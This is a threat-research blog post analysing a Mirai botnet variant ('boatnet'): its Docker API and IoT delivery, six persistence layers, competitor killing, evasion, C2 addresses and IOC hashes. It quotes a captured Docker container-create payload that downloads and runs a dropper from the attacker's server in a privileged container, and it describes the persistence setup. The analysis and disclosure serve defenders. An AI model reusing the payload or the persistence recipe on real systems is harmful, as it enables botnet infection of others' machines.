[watchdog]: Inside a Mirai variant with six-layer persistence

ELLIO Icon
ELLIO Threat Research Lab
|6 min read

An open directory is serving a Mirai variant across 14 CPU architectures - all updated yesterday. It kills competitors by SHA256 hash, persists through six layers, and hides as a kernel thread. Here's what's inside.

ELLIO threat intelligence dashboard showing IP 178.16.53.51 flagged as malicious Mirai botnet from Amsterdam, with timeline of exploit attempts and port scanning activity detected between March 22-24, 2026.

0cl/boatnet: a Mirai variant that takes persistence seriously

While investigating Docker API exploitation payloads captured by our honeypot network, we found container creation requests pulling dropper scripts from an IP on Pfcloud UG infrastructure. The server had an open Apache directory listing. 14 binaries, all dated March 25, 2026. We downloaded everything.

Most Mirai variants we see are low-effort forks - recompiled with a new C2, maybe a renamed process. This one is different. The operator self-identifies as "0cl" (from the killer module's log prefix) and names the binaries "boatnet" internally. The engineering in its persistence, evasion, and competition-killing puts it a tier above the usual fare.

Two doors in

The botnet reaches targets through two vectors from the same infrastructure.

Docker API

POST to /containers/create on port 2375. The operator tries three base images in sequence - alpine, busybox, ubuntu - with a triple download fallback (wget, curl, busybox wget). Privileged container, host filesystem mounted, host networking. If even one image exists in the target's local cache, the dropper runs.

json
{"Image":"alpine","Cmd":["/bin/sh","-c","cd /tmp; rm -f f;
  wget -q -O f http://176.65.139.71/kla.sh ||
  curl -s -o f http://176.65.139.71/kla.sh ||
  busybox wget -q -O f http://176.65.139.71/kla.sh;
  chmod 777 f; sh f"],
 "HostConfig":{"Privileged":true,"Binds":["/:/host"],"NetworkMode":"host"}}

Also observed with filename klaus and path /bins/fetch.sh instead of kla.sh.

IoT exploits

The same C2 also delivers via Huawei home gateway UPnP RCE, Hi3510 IP cameras, Tenda router buffer overflows, D-Link router forms, and generic CGI injection across at least eight exploit paths. All download the same dropper script. Docker and IoT are two doors into the same botnet.


+---------------------------+---------------------------------+
|       Exploit Path        |          Target Device          |
+---------------------------+---------------------------------+
| /ctrlt/DeviceUpgrade_1    | Huawei home gateways (UPnP RCE) |
| /cgi-bin/hi3510/param.cgi | Hi3510-based IP cameras         |
| /cgi-bin/reboot.cgi       | Generic CGI devices             |
| /cgi-bin/syscmd.cgi       | Generic CGI devices             |
| /goform/setMacFilterCfg   | Tenda routers (buffer overflow) |
| /goform/formSysCmd        | D-Link routers                  |
| /goform/formWizard        | D-Link routers                  |
| /form2ping.cgi            | Generic embedded devices        |
+---------------------------+---------------------------------+

Delivery IP Fingerprints


+--------------+-------------------------+-----------------------------------+
|      IP      |         MuonFP          |               Notes               |
+--------------+-------------------------+-----------------------------------+
| 178.16.53.51 | 64240:2-4-8-1-3:1436:7  | MSS 1436 = VPN/tunnel             |
| 178.16.53.51 | 64240:2-4-8-1-3:1436:12 | Same host, different window scale |
| 178.16.53.51 | 1025:2:1436:            | Minimal TCP (scanning mode)       |
|  45.156.87.4 | 64240:2-4-8-1-3:1460:7  | Standard Linux                    |
|  45.156.87.4 | 64240:2-4-8-1-3:1460:12 | Different window scale            |
|  45.156.87.4 | 1024:::                 | Masscan signature                 |
+--------------+-------------------------+-----------------------------------+

178.16.53.51 has MSS 1436 across all connections - consistent with operating behind a VPN (1460 - VPN overhead = ~1436).

The open directory

The C2 serves 14 architecture variants via Apache directory listing: ARM (4 versions), MIPS (big-endian and little-endian), Motorola 68k, PowerPC (2 versions), Renesas SH4, and x86 (4 versions including i486 and i686). The breadth covers everything from modern cloud servers to legacy embedded routers old enough to vote.

All binaries UPX-packed. The x86_64 variant compresses from 169KB to 62KB.

Six-layer persistence

This is where 0cl earns its distinction. Most Mirai installs a cron job and calls it a day (or do not have any persistence at all). 0cl installs six independent persistence mechanisms, each targeting a different init system:

Cron: Writes to /etc/cron.d/ - runs the binary every 5 minutes.

Crontab: Appends @reboot to /etc/crontab - survives reboots.

rc.local: Appends to /etc/rc.local - SysV init compatibility.

Android: Appends to /system/etc/init.sh - covers Android-based IoT devices.

systemd: Creates a full unit file at /etc/systemd/system/19ju3d.service with Restart=always and RestartSec=30. If systemd kills the process, it comes back in half a minute.

[Unit]
Description=%s
After=network.target

[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30
KillMode=process

[Install]
WantedBy=multi-user.target

Then runs systemctl daemon-reloadenable, and start.

Symlinkln -sf /tmp/19ju3d /bin/19ju3d - belt and suspenders.

On top of all this: chattr +i makes the binary immutable, and the hardware watchdog at /dev/watchdog gets disabled to prevent automatic reboots.

If even one of these six layers survives a cleanup attempt, the bot comes back.

Killing the competition

Three parallel methods, scanning every running process:

- /proc/PID/exe - matches the binary path

- /proc/PID/maps - matches loaded libraries

- /proc/PID/stat - matches process metadata

By name

Anything matching boatnet.*, softbot.*, or yamaha.* gets terminated. Three competing Mirai families the operator has encountered in the wild.

By hash

11 SHA256 hashes hardcoded in the binary. For each running process, the killer reads the executable, computes its SHA256, and compares against the list. Match means kill - regardless of the process name, path, or any other attribute.

This is more sophisticated than typical Mirai killers, which match by name or port. Hash-based killing means the operator has collected specific builds of competitor botnets, fingerprinted them, and embedded those fingerprints in the binary. Renaming the executable won't help. None of the 11 hashes match samples in our collection, confirming they target other operators' builds.

The whitelist

The killer explicitly spares processes the host needs to function:

System services: sshdcroninitsystemd-journaldsystemd-logind. Container runtime: dockerd. Android: adbd.

And then four entries that reveal the target profile: Blink_Cloudsys_monitor_cnrmsg_centerlte_mgr. These are LTE modem management processes found on cellular-connected IoT devices. Killing them would disconnect the device from the network - and the bot with it. The whitelist is tuned for embedded targets: keep the host online, kill everything else.

Hiding in plain sight

The process renames itself to [watchdog] - mimicking a kernel thread that runs on every Linux system. One extra [watchdog] in ps output doesn't raise alarms.

The binary deletes itself after execution. The (deleted) string in the binary and reads from /proc/self/exe confirm the standard pattern: the process runs from memory, the file is gone. Recovering it requires reading /proc/PID/exe before the process exits.

It also reads /etc/os-release to fingerprint the host.

The flood engine

HTTP L7 with 10 user agents across Chrome, Firefox, Edge, and Safari on Windows, macOS, Linux, iOS, iPad, and Android. Browser versions (Chrome 119-120, Firefox 120-121, Safari 17.2) were current when the binary was likely compiled.

Accept-Language rotates through en-US, fr-FR, de-DE, es-ES.

Before attacking, the bot validates connectivity against google.com, bing.com, yahoo.com, facebook.com, and youtube.com. If it can't reach the internet, it doesn't waste resources.

C2 communication

The C2 address is embedded as raw bytes directly in x86 mov instructions that build sockaddr_in structures. The IP 176.65.139.71 appears three times as b0 41 8b 47 (network byte order), each followed by a port assignment.

Two endpoints: 176.65.139.71:18129 (primary, referenced twice) and 176.65.139.71:3632 (secondary). Same host as the open directory, which serves binaries on port 80. Three services, one IP.

The callback format from .rodata: GET %s?r=%d&t=%d - a simple HTTP GET with what appear to be a result code and a timestamp or task ID.

What makes this one different

Most Mirai we observe is disposable infrastructure. Recompile, change the C2, deploy. 0cl is more deliberate:

  • Six persistence mechanisms across four init systems
  • Hash-based competitor killing, not just name matching
  • A process whitelist tuned for LTE/IoT device management daemons
  • Dual delivery via Docker API and IoT exploits from shared infrastructure
  • 14 architecture variants covering i486 through modern x86_64

Whether this is a more capable operator or just a more paranoid one, the result is the same: a bot that's harder to remove, harder to displace, and reaches more device types than the commodity Mirai we typically see.

The C2 is still serving binaries. The delivery IPs are still active. The operation is current.

IOCs

Network:

C2:

176.65.139.71:80 # Binary hosting (open directory at /bins/)

176.65.139.71:18129 # Primary C2 (referenced twice in binary)

176.65.139.71:3632 # Secondary C2 / callback

Delivery IPs:

45.156.87.4 # Pfcloud UG - Docker + IoT exploit delivery

178.16.53.51 # Omegatech LTD - Docker exploit delivery

Dropper URLs:

176.65.139.71/kla.sh

176.65.139.71/bins/fetch.sh

Host

Binary name 19ju3d.

Cron at /etc/cron.d/19ju3d.

Systemd unit 19ju3d.service.

Process name [watchdog].

Hashes

Competitor Hashes (killed by the bot)

03754966d64a3cc3173e1b56c45e7404668b8310e9fbdacaa07bfcd10b7a8081

10f88eb24211f941638fa58d96b5d99259e0ea995f19fadfcb85a72172edbb5f

26a8d078cea5dad2af3b9bea9ad9c8c7afe75495b73036eee27b895c654a5652

27707a49472c8d6a0a889c77081096fefeb8a7b53157180983b1f4b7fc3bd7bb

39bca43c052af88c001e810dac1897e3c66b41a861b346c90d4045fbcf8924dd

3aae4cd9f22a3a8973dca69820b63dedc60b5704efc047317bde5bd0c093618b

a29a1a318af843dedafaabee63660f90152737745e636109046e1ecbb65ab48c

a68a73b1ef3db59303ebac79233274a276544d58438e735e1375812d7fd44fed

b43ed9347ff372c00bb33e297f71c6e499e52d13d70f7ca8d21d39f256dd5d7f

bed6aaed9f9aa3ece7c3f66be4c83ba10ff43b0f9095d7110421fd6605550986

d25076cc6471cb0f7bd7204e7390ba2ea147cb6eb53b018d9618d34967148d29

Sample Hashes (from C2, dated 2026-03-25)

10232eab459b8a1e9900dcf508b2d59b1a2ece8d6820260f556cd1bcd21f931f px86_64

028cf0a6302904fe17eda2e6803c6839745c71ef18bb250f007fc64ab659b5c0 px86

45b39ccbbf740eb38441dde8d26aca3260a9ef3c512cf0adf6ba6db905b59c95 px86_i486

8d2c8e9bf202143a760cf02467d7a55c45a810f24fb323640a75f7635f559ac9 px86_i686

e597b47ae86f8a072da8086ea6da51d6d4c32803684bf7188df1f0f726a6cc29 parm

ddae6e0b577b0909456d0cf7f744bd562a85480e93fff746324157d03b034c41 parm5

70c46fbdf70a07cf8fef2c6420a16c79dfbd9c1976f1e8589500414dfa69dc04 parm6

f766cba2a06c89a99c52f08bdd27c2433fe53a8a52ac517136869c501b9cdd2c parm7

6f3c404944fbac4c143a293716d9a4aaf1a79653568a8f8b19c7df3a69eff8c2 pmips

fa3dad0a2a32daccc0d5a43281604664f3180305b447eef0cdb123fa2a27ec4d pmpsl

d4040f475fef3962161f0f369c4875882a646b576902d5c56305d8e8f77edf86 pppc

038d215d877b70c4e4c6e68f1e07f2bdca8cee2e5d69419b36f74e36b2184dee pppc440fp

9c681b77dc2bc29b386e115ec984cd3def27b6380b80151d250377af3f7cb943 pm68k

565afe783e6e62d7279661061ea98fd89e7115c69f8740fd322f595c45f22f00 psh4

C2/distribution stage (as of time of writing on March 26th, 2026):


+-----------+--------------+-------+------------------------------------------------------------------+------------------+
|  Binary   |     Arch     | Size  |                              SHA256                              |  Last Modified   |
+-----------+--------------+-------+------------------------------------------------------------------+------------------+
| parm      | ARM          | 58KB  | e597b47ae86f8a072da8086ea6da51d6d4c32803684bf7188df1f0f726a6cc29 | 2026-03-25 12:29 |
| parm5     | ARMv5        | 25KB  | ddae6e0b577b0909456d0cf7f744bd562a85480e93fff746324157d03b034c41 | 2026-03-25 12:29 |
| parm6     | ARMv6        | 62KB  | 70c46fbdf70a07cf8fef2c6420a16c79dfbd9c1976f1e8589500414dfa69dc04 | 2026-03-25 12:29 |
| parm7     | ARMv7        | 59KB  | f766cba2a06c89a99c52f08bdd27c2433fe53a8a52ac517136869c501b9cdd2c | 2026-03-25 12:29 |
| pm68k     | Motorola 68k | 179KB | 9c681b77dc2bc29b386e115ec984cd3def27b6380b80151d250377af3f7cb943 | 2026-03-25 12:29 |
| pmips     | MIPS BE      | 66KB  | 6f3c404944fbac4c143a293716d9a4aaf1a79653568a8f8b19c7df3a69eff8c2 | 2026-03-25 12:29 |
| pmpsl     | MIPS LE      | 67KB  | fa3dad0a2a32daccc0d5a43281604664f3180305b447eef0cdb123fa2a27ec4d | 2026-03-25 12:29 |
| pppc      | PowerPC      | 58KB  | d4040f475fef3962161f0f369c4875882a646b576902d5c56305d8e8f77edf86 | 2026-03-25 12:29 |
| pppc440fp | PPC 440FP    | 58KB  | 038d215d877b70c4e4c6e68f1e07f2bdca8cee2e5d69419b36f74e36b2184dee | 2026-03-25 12:29 |
| psh4      | Renesas SH4  | 144KB | 565afe783e6e62d7279661061ea98fd89e7115c69f8740fd322f595c45f22f00 | 2026-03-25 12:29 |
| px86      | x86 32-bit   | 58KB  | 028cf0a6302904fe17eda2e6803c6839745c71ef18bb250f007fc64ab659b5c0 | 2026-03-25 12:29 |
| px86_64   | x86-64       | 62KB  | 10232eab459b8a1e9900dcf508b2d59b1a2ece8d6820260f556cd1bcd21f931f | 2026-03-25 12:29 |
| px86_i486 | i486         | 46KB  | 45b39ccbbf740eb38441dde8d26aca3260a9ef3c512cf0adf6ba6db905b59c95 | 2026-03-25 12:29 |
| px86_i686 | i686         | 60KB  | 8d2c8e9bf202143a760cf02467d7a55c45a810f24fb323640a75f7635f559ac9 | 2026-03-25 12:29 |
+-----------+--------------+-------+------------------------------------------------------------------+------------------+

Share this article

Written by

ELLIO Icon
ELLIO Threat Research Lab

A group of researchers at ELLIO, transforming insights from mass exploitation and network reconnaissance into real-world cybersecurity defenses.

Related Articles